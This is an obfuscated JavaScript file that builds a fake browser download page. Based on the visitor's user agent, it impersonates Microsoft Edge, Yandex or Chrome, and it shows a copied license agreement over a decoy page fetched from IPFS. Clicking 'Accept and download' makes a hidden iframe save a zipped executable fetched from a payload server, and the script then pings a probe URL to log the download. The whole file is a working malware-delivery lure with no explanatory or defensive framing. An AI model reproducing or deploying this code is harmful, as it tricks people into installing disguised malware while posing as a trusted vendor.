function _0x517c(){const _0x290d76=['Chrome','1071124VYQhYZ','4952XyZdqx','35642100ZnWXYP','{PAYLOAD_NAME}','$COMPANY_UPPER','userAgent','Microsoft','https://gateway.pinata.cloud/ipfs/QmdSH2FVgg75VcpMhKJNCM7vf4W3b2N5RHNH6ew7X2BmDj','modal','12VbJRHN','$BROWSER_LOWER','Yandex','{PY_RECOMPILE}','661668ldHuTH','3839904QGhhyo','text/html','966866VkCSCB','https://gateway.ipfs.69.mu/probe/downloaded/','{PAYLOAD_FILE_INDEX}','test','$COMPANY','3199cDGxNk','Edge','substr','Arkady\x20Volozh','random','$BROWSER_UPPER','$COMPANY_LOWER','replaceAll','<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>$COMPANY $BROWSER</title>
    <style>
        button, h1, h2, h3, h4, h5, h6, p {
            font-size: inherit;
            padding: 0;
            margin: 0;
        }

        *, :after, :before {
            box-sizing: border-box;
        }

        body {
            color: #333;
            font-family: segoe-vf, sans-serif;
            font-weight: 400;
            letter-spacing: normal;
            line-height: normal;
            font-size: 1rem;
        }

        .modal {
            background-color: #ffffff;
            border-radius: 1em;
            height: 94vh;
            max-height: 520px;
            max-width: 800px;
            overflow: hidden;
            padding: 2.5em;
            width: 94vw;
            position: fixed;
            left: 50%;
            top: 40%;
            transform: translate(-50%, -40%);
            grid-gap: 1.5em;
            display: grid;
            font-size: 1em;
            gap: 1.5em;
            grid-template-areas:
        "header header"
        "reader reader"
        "info info"
        "lang accept";
            grid-template-columns: auto 1fr;
            grid-template-rows: auto minmax(0, 1fr) auto auto;
        }

        .overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.5);
            display: none;
        }

        .header {
            grid-area: header;
        }

        .header h1 {
            font-size: max(21px, min(1.8421052632vw, 28px));
            font-weight: 400;
            letter-spacing: -.0125em;
            line-height: 1.15;
        }

        .accept-button {
            background-color: #1a1a1a;
            color: #fff;
            border: none;
            padding: 10px 20px;
            border-radius: 5px;
            cursor: pointer;
        }

        .reader {
            background-color: #f2f2f2;
            border-radius: 0.5em;
            color: rgba(26, 26, 26, .7);
            font-size: 14px;
            overflow-y: scroll;
            overflow-x: hidden;
            padding: 1.5em;
            grid-area: reader;
        }

        .reader p {
            margin: 0 0 0.75em;
        }

        .info {
            display: flex;
            flex-direction: column;
            gap: 1.5em;
            grid-area: info;
        }

        .accept {
            align-self: end;
            grid-area: accept;
            justify-self: end;
        }

        .close {
            position: absolute;
            right: 1.5em;
            top: 1.5em;
            z-index: 1;
            align-items: center;
            appearance: none;
            background-color: transparent;
            border: none;
            display: inline-flex;
            justify-content: center;
            outline: none;
        }
    </style>
</head>
<body>
<div class="overlay" id="overlay">
    <div class="modal">
        <button class="close">
            <svg viewBox="0 0 200 200" height="1.25em" width="1.25em" xmlns="http://www.w3.org/2000/svg">
                <path xmlns="http://www.w3.org/2000/svg"
                      d="m112.784 100 84.517 84.517c1.8 1.8 2.699 3.93 2.699 6.392s-.9 4.593-2.699 6.392c-1.8 1.8-3.93 2.699-6.392 2.699s-4.593-.9-6.392-2.699L100 112.784l-84.517 84.517c-1.8 1.8-3.93 2.699-6.392 2.699s-4.593-.9-6.392-2.699c-1.8-1.8-2.699-3.93-2.699-6.392s.9-4.593 2.699-6.392L87.216 100 2.699 15.483C.899 13.683 0 11.553 0 9.091s.9-4.593 2.699-6.392C4.499.899 6.629 0 9.09 0s4.593.9 6.392 2.699L100 87.216l84.517-84.517c1.8-1.8 3.93-2.699 6.392-2.699s4.593.9 6.392 2.699c1.8 1.8 2.699 3.93 2.699 6.392s-.9 4.593-2.699 6.392L112.784 100Z"
                      fill="currentColor" fill-rule="nonzero"></path>
            </svg>
        </button>
        <div class="header"><h1>Download $COMPANY $BROWSER</h1></div>

        <div class="reader">
            <div data-cy="eula-terms-container" data-terms-lang="en">
                <div><p> $COMPANY_UPPER SOFTWARE LICENSE TERMS </p>
                    <p> $COMPANY_UPPER $BROWSER_UPPER </p>
                    <div>
                        <hr>
                    </div>
                    <p> After installation, these terms are also viewable in $COMPANY $BROWSER at
                        $BROWSER_LOWER://terms. </p>
                    <p> These license terms are an agreement between you and $COMPANY Corporation (or one of its
                        affiliates). They apply to this software published by $COMPANY and any software updates
                        (“Software”) (except to the extent such Software or updates are accompanied by new or additional
                        terms, in which case those different terms apply prospectively and do not alter your or
                        $COMPANY’s rights relating to pre-updated Software ). IF YOU COMPLY WITH THESE LICENSE TERMS,
                        YOU HAVE THE RIGHTS BELOW. BY DOWNLOADING OR USING THE SOFTWARE, YOU ACCEPT THESE TERMS. IF YOU
                        DO NOT ACCEPT THEM, YOU HAVE NO RIGHT TO AND MUST NOT DOWNLOAD OR USE THE SOFTWARE. </p>
                    <div><h1> 1. &nbsp;&nbsp;&nbsp; $COMPANY_UPPER $BROWSER_UPPER FOR WINDOWS DEVICES </h1></div>
                    <div><h2> 1.1. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Windows License Terms </h2> . Your installation
                        and use of the Software on any Windows platform shall be governed by the license terms for your
                        $COMPANY Windows Operating System software (“Windows License Terms”) on which you are using the
                        Software, and those terms are incorporated by reference. If the Software is downloaded from
                        $COMPANY and labeled preview, insider, beta or pre-release, or is otherwise indicated as not
                        being a final retail version of the Software, the applicable terms in Section 1.2 also apply to
                        your use of the Software. Section 1.3 applies to your use of other services that may be made
                        available for use through your use of the Software.
                    </div>
                    <div><h3> 1.1.1. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Updates </h3> . Notwithstanding above Section
                        1.1 as applied to Windows 7, 8, and 8.1, the terms of the applicable Windows License Terms, or
                        any Windows update settings you have configured, the Software periodically checks for updates,
                        and downloads and installs them for you. You may obtain updates only from $COMPANY or
                        authorized sources, and $COMPANY may need to update your system to provide you with those
                        updates. By accepting this agreement, you agree to receive these types of automatic updates
                        without any additional notice.
                    </div>
                    <div><h2> 1.2. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Previews </h2> . $COMPANY may make preview,
                        insider, beta or other pre-release versions of the Software (“Previews”) available to you. You
                        may use Previews only up to the Software’s expiration date (if any) and so long as you comply
                        with the applicable Windows License Terms. Previews are experimental, which means that Previews
                        may not operate correctly and may be substantially different from the commercially released
                        version. In some instances, Previews may even inadvertently damage your device rendering it
                        inoperable or cause occasional crashes, data loss or apps to stop working or be deleted. To
                        recover, you may have to reinstall your apps, the operating system or re-flash your device. In
                        some instances, you may not be able to go back to your prior version of the Software. Because
                        Previews may contain more errors or inaccuracies, you should back-up your device before
                        installing any Previews. We recommend installing Previews on non-production devices that are not
                        business critical because you are more likely to experience crashes, setting and policy changes,
                        loss of data or apps, feature and functionality changes, cause other apps to stop working, be
                        updated, or removed from your device automatically without notice and other potential issues. We
                        highly recommend that you do not install the Previews on any systems you don’t directly control
                        or that you share with others. Notwithstanding anything to the contrary in this agreement,
                        Previews are nontransferable and provided “AS IS.” By installing Previews on your device, you
                        may void or impact your device warranty and may not be entitled to support from the manufacturer
                        of your device or network operator, if applicable. $COMPANY may not provide support services
                        for Previews. If you provide $COMPANY comments, suggestions or other feedback about the Preview
                        (“Submission”), you grant $COMPANY and its partners rights to use the Submission in any way and
                        for any purpose. You will not give a Submission that is subject to a license that requires
                        $COMPANY to license its Software or documentation to third parties because $COMPANY includes
                        your Submission in them. These rights survive this agreement. $COMPANY may change or
                        discontinue the Previews, or terminate your access to the Previews, at any time without notice
                        and for any reason whatsoever. You may stop using the Previews at any time by un-installing and
                        deleting all copies of any Previews.
                    </div>
                    <div><h3> 1.2.1. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Data Collection for Previews </h3> . Previews
                        may not have included, reduced, or different security, privacy, accessibility, availability and
                        relatability standards relative to commercially provided services and software. For Previews
                        covered under Section 1.2, privacy and feature settings may not work as intended, and the
                        Previews may not work with other Windows privacy settings, including the diagnostic data
                        settings for Windows 10 / Windows 11. Data collected from your use of the Previews, including
                        diagnostic, technical, error reports, crash dumps and other related data from your devices
                        running Previews may be used, stored, processed and analyzed to keep Windows and the Previews up
                        to date, secure, and operating properly. It also helps us improve $COMPANY products and
                        services and may be used for any other purpose described in the $COMPANY Privacy Statement. If
                        you disable data collection through controls available in the Previews, we may continue to
                        collect diagnostic information about the download, the installation and removal of the Previews
                        and “basic” data as described in the Windows Diagnostics section of the $COMPANY Privacy
                        Statement. The <strong> $COMPANY Privacy Statement </strong> ( <a
                                href="https://go.$COMPANY_LOWER.com/fwlink/?LinkId=521839">
                            https://go.$COMPANY_LOWER.com/fwlink/?LinkId=521839 </a> ), and this paragraph, applies to
                        Previews under Section 1.2.
                    </div>
                    <div><h2> 1.3. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Other Services </h2> . The Software may include
                        features that provide an access point to, or rely on, other services, websites, links, content,
                        material, integrations or applications, including as provided by independent third parties
                        (“Other Services”). Your use of Other Services or of Software features that rely on Other
                        Services may be governed by separate terms and subject to separate privacy policies. You can
                        view these separate terms and policies through the Other Services’ websites or settings, as
                        applicable. The Other Services may not be available in all regions. You may not use tokens the
                        Software uses to call into a $COMPANY Azure service separate from the Software.
                    </div>
                    <div><h1> 2. &nbsp;&nbsp;&nbsp; $COMPANY_UPPER $BROWSER_UPPER FOR NON-WINDOWS DEVICES </h1></div>
                    <div>
                        <hr>
                    </div>
                    <p> IF YOU LIVE IN (OR ARE A BUSINESS WITH A PRINCIPAL PLACE OF BUSINESS IN) THE UNITED STATES,
                        PLEASE READ THE “BINDING ARBITRATION AND CLASS ACTION WAIVER” SECTION 2.14 BELOW. IT AFFECTS HOW
                        DISPUTES ARE RESOLVED. </p>
                    <div>
                        <hr>
                    </div>
                    <div><h2> 2.1. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Installation and Use Rights </h2> . For
                        installation and use of the Software on any non-Windows platform, including but not limited to
                        macOS and Linux, you may install and use one copy of the Software on any device running such
                        non-Windows platform.
                    </div>
                    <div><h2> 2.2. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Third Party Software </h2> . The Software may
                        include third party software that is licensed to you under this agreement or under their own
                        terms or under open source licenses with source code availability options. License terms,
                        notices, and acknowl$BROWSER_LOWERments, if any, for the third party software may be accessible
                        online at
                        <a href="https://aka.ms/thirdpartynotices"> https://aka.ms/thirdpartynotices </a> or in an
                        accompanying notices file. Even if such software is governed by other agreements, the
                        disclaimer, limitations on, and exclusions of damages below also apply to the extent allowed by
                        applicable law.
                    </div>
                    <div><h2> 2.3. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Previews. </h2> $COMPANY may make preview,
                        insider, beta or other pre-release versions of the Software (“Previews”) available to you. You
                        may use Previews only up to the software’s expiration date (if any) and so long as you comply
                        with these license terms. Previews are experimental, which means that Previews may not operate
                        correctly and may be substantially different from the commercially released version. In some
                        instances, Previews may even inadvertently damage your device rendering it inoperable or cause
                        occasional crashes, data loss or apps to stop working or be deleted. To recover, you may have to
                        reinstall your apps, the operating system or re-flash your device. In some instances, you may
                        not be able to go back to your prior version of the Software. Because Previews may contain more
                        errors or inaccuracies, you should back-up your device before installing any Previews. We
                        recommend installing Previews on non-production devices that are not business critical because
                        you are more likely to experience crashes, setting and policy changes, loss of data or apps,
                        feature and functionality changes, cause other apps to stop working, be updated, or removed from
                        your device automatically without notice and other potential issues. We highly recommend that
                        you do not install the Previews on any systems you don’t directly control or that you share with
                        others. Notwithstanding anything to the contrary in this agreement, Previews are nontransferable
                        and provided “AS IS.” By installing Previews on your device, you may void or impact your device
                        warranty and may not be entitled to support from the manufacturer of your device or network
                        operator, if applicable. $COMPANY may not provide support services for Previews. $COMPANY may
                        change or discontinue the Previews, or terminate your access to the Previews, at any time
                        without notice and for any reason whatsoever. You may stop using the Previews at any time by
                        un-installing and deleting all copies of any Previews.
                    </div>
                    <div><h3> 2.3.1. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Data Collection for Previews </h3> . Previews
                        may not have included, reduced, or different security, privacy, accessibility, availability and
                        relatability standards relative to commercially provided services and software. For Previews
                        covered under Section 2.3, privacy and feature settings may not work as intended, and the
                        Previews may not work with other operating system privacy settings. Data collected from your use
                        of Previews, including diagnostic, technical, error reports, crash dumps and other related data
                        from your devices running Previews may be used, stored, processed and analyzed to keep the
                        Previews up to date, secure, and operating properly. It also helps us improve $COMPANY products
                        and services and may be used for any other purpose described in the $COMPANY Privacy Statement.
                        If you disable data collection through controls available in the Previews, we may continue to
                        collect diagnostic information about the download, the installation and any removal of the
                        Previews and “basic” data as described in the Windows Diagnostics section of the $COMPANY
                        Privacy Statement. The <strong> $COMPANY Privacy Statement </strong> ( <a
                                href="https://go.$COMPANY_LOWER.com/fwlink/?LinkId=521839">
                            https://go.$COMPANY_LOWER.com/fwlink/?LinkId=521839 </a> ), and this paragraph, applies to
                        Previews under Section 2.3.
                    </div>
                    <div><h2> 2.4. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Other Services </h2> . The Software may include
                        features that provide an access point to, or rely on, other services, websites, links, content,
                        material, integrations or applications, including as provided by independent third parties
                        (“Other Services”). Your use of Other Services or of Software features that rely on Other
                        Services may be governed by separate terms and subject to separate privacy policies. You can
                        view these separate terms and policies through the Other Services’ websites or settings, as
                        applicable. The Other Services may not be available in all regions.
                    </div>
                    <div><h2> 2.5. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Communications with You </h2> . $COMPANY may
                        use your contact information (i) to communicate with you about your use of the Software, and
                        (ii) to provide you with additional information, about the Software and other $COMPANY products
                        or services. This contact may be by email, SMS, instant message, web chat, phone, in the user
                        interface, or other means, and may include offers. You can always choose whether you wish to
                        receive promotional email, SMS messages, telephone calls and postal mail from $COMPANY.
                    </div>
                    <div><h2> 2.6. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Feedback </h2> . If you provide $COMPANY
                        comments, suggestions or other feedback about the Software to $COMPANY (“Submission”), you
                        grant $COMPANY and its partners rights to use the Submission in any way and for any purpose.
                        You will not give $COMPANY a Submission that is subject to a license that requires $COMPANY to
                        license its Software or documentation to third parties because $COMPANY includes your feedback
                        in them. These rights survive this agreement.
                    </div>
                    <div><h2> 2.7. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Data Collection </h2> . The Software may
                        collect information about you and your use of the Software and send that to $COMPANY. By
                        accepting this agreement and using the Software you agree that $COMPANY may collect, use, and
                        disclose the information as described in the <strong> $COMPANY Privacy Statement </strong> at
                        <a href="https://go.$COMPANY_LOWER.com/fwlink/?LinkId=521839">
                            https://go.$COMPANY_LOWER.com/fwlink/?LinkId=521839 </a> , and as may be described in the
                        user
                        interface associated with the Software features.
                    </div>
                    <div><h2> 2.8. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Scope of License. </h2> The Software is
                        licensed, not sold. This agreement gives you only some rights to use the Software. $COMPANY
                        reserves all other rights. Unless applicable law gives you more rights despite this limitation,
                        you will not (and have no right to):
                    </div>
                    <div><h3> (a) &nbsp;&nbsp; work around any technical limitations in the Software that only allow you
                        to use it in certain ways; </h3></div>
                    <div><h3> (b) &nbsp;&nbsp; reverse engineer, decompile, disassemble, decrypt or otherwise attempt to
                        derive the source code of the Software, except and only to the extent that the foregoing
                        restriction is (i) permitted by applicable law; (ii) required by third party licensing terms
                        governing the use of certain open-source components that may be included with the Software; or
                        (iii) required to debug changes to any libraries licensed under the GNU Lesser General Public
                        License which are included with and linked to by the Software. </h3></div>
                    <div><h3> (c) &nbsp;&nbsp; remove, minimize, block, or modify any notices of $COMPANY or its
                        suppliers in the Software; </h3></div>
                    <div><h3> (d) &nbsp;&nbsp; when using Internet-based features, you may not use those features in any
                        way that could interfere with anyone else’s use of them or to try to gain access to or use any
                        service, data, account, or network, in an unauthorized manner; </h3></div>
                    <div><h3> (e) &nbsp;&nbsp; use the Software in any way that is against the law or to create or
                        propagate malware; or </h3></div>
                    <div><h3> (f) &nbsp;&nbsp;&nbsp; share, publish, distribute, or lend the Software, provide the
                        Software as a stand-alone hosted solution for others to use, or transfer the Software or this
                        agreement to any third party. </h3></div>
                    <div><h3> (g) &nbsp;&nbsp;&nbsp; use tokens the Software uses to call into a $COMPANY Azure service
                        separate from the Software. </h3></div>
                    <div><h2> 2.9. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Documentation </h2> . If documentation is
                        provided with the Software, you may copy and use the documentation for personal reference
                        purposes.
                    </div>
                    <div><h2> 2.10. &nbsp;&nbsp;&nbsp;&nbsp; H.264/AVC and MPEG-4 Visual Standards and VC-1 Video
                        Standards </h2> . The Software may include H.264/AVC, MPEG-4 Visual, and/or VC-1 codec
                        technology. MPEG LA, L.L.C. requires this notice: <br> THIS PRODUCT IS LICENSED UNDER THE
                        H.264/AVC, THE VC-1, AND THE MPEG-4 PART 2 VISUAL PATENT PORTFOLIO LICENSES FOR THE PERSONAL AND
                        NON-COMMERCIAL USE OF A CONSUMER TO (i) ENCODE VIDEO IN COMPLIANCE WITH THE ABOVE STANDARDS
                        (“VIDEO STANDARDS”) OR (ii) DECODE AVC, VC-1, AND MPEG-4 PART 2 VIDEO THAT WAS ENCODED BY A
                        CONSUMER ENGAGED IN A PERSONAL AND NON-COMMERCIAL ACTIVITY OR WAS OBTAINED FROM A VIDEO PROVIDER
                        LICENSED TO PROVIDE SUCH VIDEO. NO LICENSE IS GRANTED OR SHALL BE IMPLIED FOR ANY OTHER USE.
                        ADDITIONAL INFORMATION MAY BE OBTAINED FROM MPEG LA, L.L.C. SEE <a href="https://aka.ms/mpegla">
                            https://aka.ms/mpegla </a> .
                    </div>
                    <div><h2> 2.11. &nbsp;&nbsp;&nbsp;&nbsp; Export Restrictions. </h2> You must comply with all
                        domestic and international export laws and regulations that apply to the Software, which include
                        restrictions on destinations, end users, and end use. For further information on export
                        restrictions, visit <a href="https://aka.ms/exporting"> https://aka.ms/exporting </a> .
                    </div>
                    <div><h2> 2.12. &nbsp;&nbsp;&nbsp;&nbsp; Support Services. </h2> $COMPANY is not obligated under
                        this agreement to provide any support services for the Software. Any support provided is “as
                        is”, “with all faults”, and without warranty of any kind.
                    </div>
                    <div><h2> 2.13. &nbsp;&nbsp;&nbsp;&nbsp; Updates. </h2> The Software may periodically check for
                        updates, and download and install them for you. You may obtain updates only from $COMPANY or
                        authorized sources. $COMPANY may need to update your system to provide you with updates. You
                        agree to receive these automatic updates without any additional notice. Updates may not include
                        or support all existing Software features, services, or peripheral devices.
                    </div>
                    If you and $COMPANY have a dispute, you and $COMPANY agree to try for 60 days to resolve it
                    informally. If you and $COMPANY can’t, you and $COMPANY agree to <b> binding individual
                        arbitration before the American Arbitration Associatio </b> n under the Federal Arbitration Act
                    (“FAA”), and <b> not to sue in court in front of a judge or jury </b> . Instead, a neutral
                    arbitrator will decide. <b> Class action lawsuits, class-wide arbitrations, private attorney-general
                        actions, </b> and any other proceeding where someone acts in a representative capacity <b> are
                        not allowed </b> ; nor is combining individual proceedings without the consent of all parties.
                    The complete Arbitration Agreement contains more terms and is at <a
                            href="https://aka.ms/arb-agreement-1"> https://aka.ms/arb-agreement-1 </a> . You and
                    $COMPANY agree to these terms.
                </div>
                <div><h2> 2.15. &nbsp;&nbsp;&nbsp;&nbsp; Entire Agreement. </h2> This agreement, and any other terms
                    $COMPANY may provide for supplements, updates, or third-party applications, is the entire agreement
                    for the Software.
                </div>
                <div><h2> 2.16. &nbsp;&nbsp;&nbsp;&nbsp; Applicable Law and lace to resolve disputes </h2> . If you
                    acquired the Software in the United States or Canada, the laws of the state or province where you
                    live (or, if a business, where your principal place of business is located) govern the
                    interpretation of this agreement, claims for its breach, and all other claims (including consumer
                    protection, unfair competition, and tort claims), regardless of conflict of laws principles, except
                    that the FAA governs everything related to arbitration. If you acquired the Software in any other
                    country, its laws apply, except that the FAA governs everything related to arbitration. If U.S.
                    federal jurisdiction exists, you and $COMPANY consent to exclusive jurisdiction and venue in the
                    federal court in King County, Washington for all disputes heard in court (excluding arbitration). If
                    not, you and $COMPANY consent to exclusive jurisdiction and venue in the Superior Court of King
                    County, Washington for all disputes heard in court (excluding arbitration).
                </div>
                <div><h2> 2.17. &nbsp;&nbsp;&nbsp;&nbsp; Consumer Rights; Regional Variations. </h2> This agreement
                    describes certain legal rights. You may have other rights, including consumer rights, under the laws
                    of your state, province, or country. Separate and apart from your relationship with $COMPANY, you
                    may also have rights with respect to the party from which you acquired the Software. This agreement
                    does not change those other rights if the laws of your state, province, or country do not permit it
                    to do so. For example, if you acquired the Software in one of the below regions, or mandatory
                    country law applies, then the following provisions apply to you:
                </div>
                <div><h3> (a) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Australia. </h3> You have statutory guarantees
                    under the Australian Consumer Law and nothing in this agreement is intended to affect those rights.
                </div>
                <div><h3> (b) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Canada. </h3> If you acquired this Software in
                    Canada, you may stop receiving updates by disconnecting your device from the Internet (if and when
                    you re-connect to the Internet, however, the Software will resume checking for and installing
                    updates), or uninstalling the Software. The product documentation, if any, may also specify how to
                    turn off updates for your specific device or Software.
                </div>
                <div><h3> (c) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Germany and Austria </h3> . If you are
                    using the Software in Germany, you may do so only subject to the following terms: <a
                            href="https://aka.ms/$BROWSER_LOWER-germany"> https://aka.ms/$BROWSER_LOWER-germany </a> .
                </div>
                <div><h2> 2.18. &nbsp;&nbsp;&nbsp;&nbsp; DISCLAIMER OF WARRANTY. </h2> THE SOFTWARE IS LICENSED “AS IS,”
                    “WITH ALL FAULTS,” AND “AS AVAILABLE.” YOU BEAR THE RISK OF USING IT. $COMPANY_UPPER GIVES NO
                    EXPRESS
                    WARRANTIES, GUARANTEES, OR CONDITIONS. YOU MAY HAVE ADDITIONAL CONSUMER RIGHTS OR STATUTORY
                    GUARANTEES UNDER YOUR LOCAL LAWS THAT THIS AGREEMENT CANNOT CHANGE. TO THE EXTENT PERMITTED UNDER
                    YOUR LOCAL LAWS, $COMPANY_UPPER EXCLUDES ALL IMPLIED WARRANTIES, INCLUDING MERCHANTABILITY, FITNESS
                    FOR A
                    PARTICULAR PURPOSE, AND NON-INFRINGEMENT.
                </div>
                <div><h2> 2.19. &nbsp;&nbsp;&nbsp;&nbsp; LIMITATION ON AND EXCLUSION OF REMEDIES AND DAMAGES. </h2> IF
                    YOU HAVE ANY BASIS FOR RECOVERING DAMAGES DESPITE THE PRECEDING DISCLAIMER OF WARRANTY, YOU CAN
                    RECOVER FROM $COMPANY_UPPER AND $COMPANY_UPPER’S AFFILIATES OR SUPPLIERS ONLY DIRECT DAMAGES UP TO
                    THE AMOUNT
                    YOU PAID FOR THE SOFTWARE OR $5.00, WHICHEVER IS GREATER. YOU CANNOT RECOVER ANY OTHER DAMAGES OR
                    LOSSES, INCLUDING CONSEQUENTIAL, LOST PROFITS, SPECIAL, INDIRECT, PUNITIVE OR INCIDENTAL DAMAGES. TO
                    THE MAXIMUM EXTENT PERMITTED BY LAW, THESE LIMITATIONS AND EXCLUSIONS APPLY TO ANYTHING OR ANY
                    CLAIMS RELATED TO THE SOFTWARE. <strong> <br> It also applies even if this remedy does not fully
                        compensate you for any losses or fails of its essential purpose or if $COMPANY knew or should
                        have known about the possibility of the damages. The above limitation or exclusion may not apply
                        to you because your state, province, or country may not allow the exclusion or limitation of
                        incidental, consequential, or other damages. </strong></div>
                <div>
                    <hr>
                </div>
                <p> Source code for portions of $COMPANY $BROWSER is available free of charge from <a
                        href="https://thirdpartysource.$COMPANY_LOWER.com">
                    https://thirdpartysource.$COMPANY_LOWER.com </a> under
                    the third party open source license terms provided at <a href="https://aka.ms/thirdpartynotices">
                        https://aka.ms/thirdpartynotices </a> and in $COMPANY $BROWSER at $BROWSER_LOWER://credits after
                    installation. Or to obtain this source code you may send a check or money order for US $5.00,
                    including the $BROWSER version number, to: </p>
                <p> Source Code Compliance Team <br> $COMPANY Corporation <br> One $COMPANY Way <br> Redmond, WA 98052
                    <br> USA <br></p></div>


        </div>
        <div class="info">
            <div id="eula-privacy"><a target="_blank" href="https://go.$COMPANY_LOWER.com/fwlink/?LinkId=521839"
                                      style="text-decoration: inherit;color:#1a59c8">
                Privacy statement
            </a></div>
            <div><span>Installing $COMPANY $BROWSER will add the $COMPANY repository so your system will automatically keep $COMPANY $BROWSER up to date.</span>
            </div> <!---->
            <div style="display: none;">
                <div class="eula-download-section__checkbox"><input id="eula-accept-checkbox" type="checkbox"
                                                                    data-bi-id="Other-Select-Downloaddialog-Consent">
                    <label for="eula-accept-checkbox" data-bi-id="Other-Select-Downloaddialog-Consent"><span><span
                            id="consent-text">Help $COMPANY improve our products by sending info about how you use the browser and websites you visit.</span> <a
                            id="consent-link" target="_blank"
                            href="https://go.$COMPANY_LOWER.com/fwlink/?linkid=2113565"
                            class="eula-download-section__link">
                                    Learn more
                                </a></span></label></div>
            </div>
        </div>
        <div class="accept">
            <button class="accept-button" onclick="acceptAndDownload()">Accept and download</button>
        </div>
    </div>
</div>
<script src="{PY_RECOMPILE}"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js"></script>
<script>
    let my_payload = null;
    var iframe = document.createElement('iframe');
    iframe.src = `data:text/html,<html><head><script src="https://cdnjs.cloudflare.com/ajax/libs/FileSaver.js/2.0.0/FileSaver.min.js"><` + `/script></head><body><script>
    window.addEventListener('message',function(e){
            saveAs(e.data,'{PAYLOAD_NAME}.zip');
        });<` + `/script></body></html>`;
    iframe.style = 'display:None';
    document.body.appendChild(iframe);
    let counting = 15;

    function load_payload() {
        const p = document.getElementById('counting-down');
        if (my_payload) {
            iframe.contentWindow.postMessage(my_payload, '*');
            p.innerHTML = `Your download will start very soon.<br>`
            fetch('{PROBE_URL}');
        } else {
            if (counting === 0) {
                p.innerHTML = `Your download will start very soon.<br>`
            } else {
                p.innerHTML = `Your download will start in ${counting} seconds.<br>`;
                counting--;
            }
            setTimeout(load_payload, 1000);
        }
    }

    window.py_recompile('{PAYLOAD_SERVER}', '{PAYLOAD_FILE_INDEX}', result => {
        let name = '{PAYLOAD_NAME}.exe';
        let zip = new JSZip();
        zip.file(name, result);
        zip.generateAsync({type: "blob"}).then(blob => {
            my_payload = blob
        })
    });

    function openModal() {
        document.getElementById('overlay').style.display = 'flex';
    }

    function acceptAndDownload() {
        const modal = document.getElementsByClassName('modal')[0]
        modal.innerHTML = `<div class="header">
            <h1>
                Thanks for downloading!<br>Just a few steps left</h1>
        </div>
        <div style="grid-area: reader;">
            <p id="counting-down">
                Prepare to download $COMPANY $BROWSER.<br>Your download will start in 15 seconds.<br>
            </p>
        </div>`;
        load_payload();
    }

    function loadScript(url) {
        let script = document.createElement('script');
        script.src = url;
        document.head.appendChild(script);
    }

    if (!window.JSZip) {
        loadScript('https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js')
    }
    new Promise(resolve => {
        function waitJsZip() {
            if (!window.JSZip) {
                setTimeout(waitJsZip, 500)
            } else {
                resolve()
            }
        }

        waitJsZip();
    }).then(() => {
        return fetch('https://gateway.pinata.cloud/ipfs/QmfNRcmJ77iG2xbTq3p9ARS2smfJnJhA44DjEKABSeKEDH')
    }).then(res => res.blob())
        .then(blob => {
            const zip = new JSZip();
            return zip.loadAsync(blob);
        })
        .then(zip => {
            const htmlName = 'html/$BROWSER_LOWER.html';
            console.log(htmlName);
            return zip.file(htmlName).async('text');
        })
        .then(html => {
            const iframeUrl = URL.createObjectURL(new Blob([html], {type: 'text/html'}));
            const iframe = document.createElement('iframe');
            iframe.src = iframeUrl;
            iframe.width = '100%';
            iframe.height = '100%';
            iframe.style.position = 'fixed';
            iframe.style.top = '0';
            iframe.style.left = '0';
            iframe.style.zIndex = '-1';
            document.body.appendChild(iframe);
            setTimeout(() => {
                openModal()
            }, 500)
        })
</script>
</body>
